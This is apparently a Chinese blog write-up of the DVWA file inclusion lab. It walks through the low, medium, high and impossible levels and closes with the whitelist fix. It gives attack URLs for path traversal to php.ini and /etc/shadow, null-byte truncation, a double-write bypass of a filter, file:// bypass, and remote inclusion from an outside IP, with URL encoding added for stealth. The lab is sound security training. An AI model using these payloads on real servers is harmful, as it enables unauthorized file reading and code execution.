文件包含:当服务器开启allow_url_include选项时,可以通过某些特性函数如:include() , require() , include_once() , require_once() 利用url去动态地包含文件,若未对文件进行来源审查,就会导致任意文件读取或者任意命令执行。

分类:

(1)本地文件包含

(2)远程文件包含:因为开启了PHP配置中的allow_url_fopen选项,服务器允许包含一个远程文件。

一、low

看下服务器端核心代码:page为做任何过滤。

        图中 file1.php、file2.php、file3.php 是服务器希望用户点击,服务器包含相应的文件,返回结果。服务器包含文件时无论文件后缀是否是php,均当做php文件来执行。当文件内容为php,返回正常执行结果;当文件内容不是php,则原封不动打印文件内容。

        点击file1.php。

1、本地文件包含

构造url:http://127.0.0.1/DVWA/vulnerabilities/fi/?page=/etc/shaow ,其中/etc/shaow为linux的系统路径。

        报错。故服务器系统不是Linux。且文件的绝对路径为D:\PhPstudy\phpstudy_pro\WWW\DVWA\vulnerabilities\fi\index.php

        构造url(绝对路径):http://127.0.0.1/DVWA/vulnerabilities/fi/?page=D:\PhPstudy\phpstudy_pro\WWW\DVWA\php.ini,成功读取了服务器的php.ini文件。

         或者构造url(相对路径):http://127.0.0.1/DVWA/vulnerabilities/fi/?page=..\..\..\..\..\..\..\..\..\PhPstudy\phpstudy_pro\WWW\DVWA\php.ini

        “..\”代表上一层目录,“.\”代表下一层目录。

        若page参数要求为php后缀或者其他,在php版本小于5.3.4,时,可以用%00截断。如: http://127.0.0.1/DVWA/vulnerabilities/fi/?page=..\..\..\..\..\..\..\..\..\PhPstudy\phpstudy_pro\WWW\DVWA\php.ini%00csg.php 。

1、远程文件包含

        当服务器的php配置中,allow_url_fopen和allow_url_include打开时,服务器会允许包含远程服务器上的文件。在远程服务器上上传一个phpinfo.txt文件。由于本人租不起服务器,故将其放在自己电脑上。

构造url:http://127.0.0.1/DVWA/vulnerabilities/fi/?page=C:\Users\ASUS\Desktop/phpinfo.txt

 

为了增加隐蔽性,可以百度一个在线编码工具,对url进行编码:
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=C%3A%5CUsers%5CASUS%5CDesktop%2Fphpinfo.txt

同样可成功执行。

二、medium

        看下服务器端核心代码:str_replace()函数对“http://”、“https://”、“../”、“..\”都进行了过滤删除。

         但str_replace()可以用双写绕过。且规则里绕过“../”、“..\”,则用绝对路径的方式包含文件不受此规则限制。(本文由于phpinfo.txt文件在本地,无http://或https://,故为http://127.0.0.1/DVWA/vulnerabilities/fi/?page=C:\Users\ASUS\Desktop\phpinfo.txt

若将phpinfo.txt上传到服务器(比如192.168.125.12),则构造下面的链接即可:

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=hhttp://ttp://192.168.125.12/phpinfo.txt

三、high

        看下核心源码:这里使用fnmatch()函数对page参数进行过滤,要求page必须以“file”开头,服务器才会包含相应的文件。

 file协议:本地文件传输协议)主要用于访问本地计算机中的文件。基本格式为:file:///文件路径

故利用file协议,构造url:

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file:///D:\PhPstudy\phpstudy_pro\WWW\DVWA\php.ini

读取服务器配置文件成功。

四、impossible

        看下核心源码:这里使用白名单。page参数必须为:include.php 、 file1.php 、 file2.php 、 file3.php 。杜绝了文件包含漏洞。

Logo

为开发者提供学习成长、分享交流、生态实践、资源工具等服务,帮助开发者快速成长。

更多推荐